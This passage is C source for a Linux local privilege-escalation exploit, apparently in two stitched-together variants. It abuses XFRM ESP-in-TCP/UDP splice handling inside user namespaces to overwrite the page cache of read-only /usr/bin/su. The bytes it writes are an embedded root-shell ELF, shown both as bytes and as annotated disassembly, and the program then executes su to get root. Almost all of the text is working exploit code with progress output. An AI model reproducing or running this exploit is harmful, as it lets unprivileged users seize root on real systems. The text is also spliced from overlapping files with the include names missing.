close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) < 0) die("wait userns child"); if (WIFEXITED(status)) exit(WEXITSTATUS(status)); if (WIFSIGNALED(status)) { fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status)); exit(2); } exit(2); } close(ready_pipe[0]); close(mapped_pipe[1]); if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)"); sync_write_byte(ready_pipe[1]); sync_read_byte(mapped_pipe[0]); if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns"); if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns"); printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(), getgid()); } static void bring_loopback_up(void) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); if (fd < 0) gate_fail("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up"); close(fd); printf("loopback_up=1\n"); } static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) { size_t off = NLMSG_ALIGN(nlh->nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd < 0) gate_fail("socket(NETLINK_XFRM)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)"); memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA"); if (ret != (ssize_t)nlh->nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret < 0) gate_fail("recv XFRM ack"); if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack"); close(fd); printf("xfrm_espintcp_state_add=1\n"); } static void setup_user_netns_xfrm(void) { if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE"); enter_mapped_userns(); if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)"); printf("netns_setup=1\n"); bring_loopback_up(); add_xfrm_espintcp_state(); printf("namespace_setup_complete=1\n"); } static void write_ready(int fd) { char c = 'R'; if (write(fd, &c, 1) != 1) die("ready write"); close(fd); } static void wait_ready(int fd) { char c; if (read(fd, &c, 1) != 1) die("ready read"); close(fd); } static void receiver(int ready_write_fd) { struct sockaddr_in6 addr = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; char ulp[] = "espintcp"; int fd, cfd, one = 1; fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (fd < 0) die("receiver socket"); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); if (listen(fd, 1) < 0) die("receiver listen"); write_ready(ready_write_fd); cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); if (cfd < 0) die("receiver accept"); usleep(RECEIVER_PRE_ULP_US); if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp"); printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid()); usleep(RECEIVER_POST_ULP_US); close(cfd); close(fd); _exit(0); } static void sender(int ready_read_fd) { struct sockaddr_in6 dst = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; struct { __be16 len; unsigned char esp[16]; } prefix; loff_t off, start_off; int fd, sock, p[2], one = 1; ssize_t ret, sent; wait_ready(ready_read_fd); memset(&prefix, 0xcc, sizeof(prefix)); prefix.len = htons(sizeof(prefix) + FRAG_LEN); prefix.esp[0] = 0x00; prefix.esp[1] = 0x00; prefix.esp[2] = 0x01; prefix.esp[3] = 0x00; store_be32(&prefix.esp[4], active_esp_seq); memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("sender open target"); sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (sock < 0) die("sender socket"); if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY"); if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect"); sent = send(sock, &prefix, sizeof(prefix), 0); if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix"); usleep(SENDER_PRE_SPLICE_US); if (pipe(p) < 0) die("sender pipe"); off = target_splice_off; start_off = off; ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); if (ret != FRAG_LEN) die("sender splice file to pipe"); ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); if (ret < 0) die("sender splice pipe to tcp"); printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n", getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off); close(p[0]); close(p[1]); close(sock); close(fd); _exit(ret == FRAG_LEN ? 0 : 3); } static int run_trigger_pair(void) { int pipefd[2], st_rx, st_tx; pid_t rx, tx; if (pipe(pipefd) < 0) die("pipe"); rx = fork(); if (rx < 0) die("fork receiver"); if (rx == 0) { close(pipefd[0]); receiver(pipefd[1]); } tx = fork(); if (tx < 0) die("fork sender"); if (tx == 0) { close(pipefd[1]); sender(pipefd[0]); } close(pipefd[0]); close(pipefd[1]); if (waitpid(tx, &st_tx, 0) < 0) die("wait sender"); if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver"); printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx); if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1; return 0; } static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) { uint64_t n = (uint64_t)byte_len; if (n == 0) { fprintf(stderr, "byte range is empty\n"); exit(2); } if (n - 1 > UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done < desired_len ? desired_len - done : (size_t)0); /* ── hex dump ────────────────────────────────────────────────── */ for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) { /* col-0 highlight borrows the header's last trailing space */ int col0_hi = (idx_current < desired_len && row * 16 == idx_current); printf("\r\033[2K" C_DIM " %04zx%s" C_RESET, row * 16, col0_hi ? " " : " "); for (col = 0; col < 16; col++) { bi = row * 16 + col; int cur = (idx_current < desired_len && bi == idx_current); if (col == 8) { /* mid-gap space becomes '[' when col 8 is current */ printf(cur ? "[" : " "); if (cur) { printf(C_BYLW "%02x]" C_RESET, live[bi]); continue; } } if (bi >= desired_len) { printf(" "); continue; } if (bi < idx_current) { printf(live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]); } else if (cur) { /* col 0: '[' was the header's borrowed space * col 1-7, 9-15: '\b' eats the preceding byte's space */ printf(col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]); } else { printf(C_DIM "%02x " C_RESET, desired[bi]); } } printf("\n"); } /* ── progress bar ────────────────────────────────────────────── */ printf("\r\033[2K [" C_BGRN); for (i = 0; i < filled; i++) printf("="); printf(C_RESET C_DIM); for (i = filled; i < FRAME_BAR_W; i++) printf("-"); printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len, desired_len ? done * 100 / desired_len : (size_t)100); /* ── separator ───────────────────────────────────────────────── */ printf("\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n"); fflush(stdout); setvbuf(stdout, NULL, _IONBF, 0); if (!first_draw) printf("\033[?25h\033[u"); /* restore cursor to log area */ } static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len, uint64_t file_size) { uint64_t last = checked_byte_range_last(byte_off, desired_len); size_t idx, changed = 0, skipped = 0; unsigned char live_state[PAYLOAD_LEN]; int fd_init; if (last >= file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n", FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } printf(C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n", RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US); printf(C_BCYN "[*]" C_RESET " range: offset=0x%llx len=%zu last=0x%llx" " enc_len=%d splice_len=%d\n", (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN); printf(C_BCYN "[*]" C_RESET " union: transformed=0x%llx-0x%llx" " collateral_after=0x%llx-0x%llx\n", (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1), (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1)); printf(C_BCYN "[*]" C_RESET " "); print_hex_bytes("payload", desired, desired_len); printf("\n"); build_stream0_table(); printf("\n"); /* seed live_state from the file so the hex dump has real values */ fd_init = open(target_file, O_RDONLY | O_CLOEXEC); if (fd_init < 0) die("open live_state init"); if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init"); close(fd_init); /* clear screen so the frame starts at a known row 1 */ printf("\033[2J\033[H"); draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1); /* pin the frame to rows 1-FRAME_LINES; scroll region below */ { struct winsize ws; int tr = 40; if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char current, final, need_stream; live_state[idx] = read_byte_at(target_file, off); current = live_state[idx]; draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0); if (current == desired[idx]) { printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len, (unsigned long long)off, current); skipped++; continue; } target_splice_off = (loff_t)off; need_stream = current ^ desired[idx]; choose_iv_for_stream0(need_stream); active_esp_seq++; printf(C_BCYN "[*]" C_RESET " [%zu/%zu]" " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); printf(C_RESET " firing espintcp splice...\n"); if (run_trigger_pair() < 0) { fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx); return 2; } final = read_byte_at(target_file, off); live_state[idx] = final; if (final == desired[idx]) { printf(C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char final = read_byte_at(target_file, off); if (final != desired[idx]) { printf(C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } } printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET "\n", desired_len, changed, skipped); if (changed == 0) { fprintf(stderr, "all requested bytes already had desired values\n"); return 2; } printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n"); return 1; } static void usage(const char *prog) { fprintf(stderr, "usage: %s \n", prog); fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); } static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals home the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; } #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { 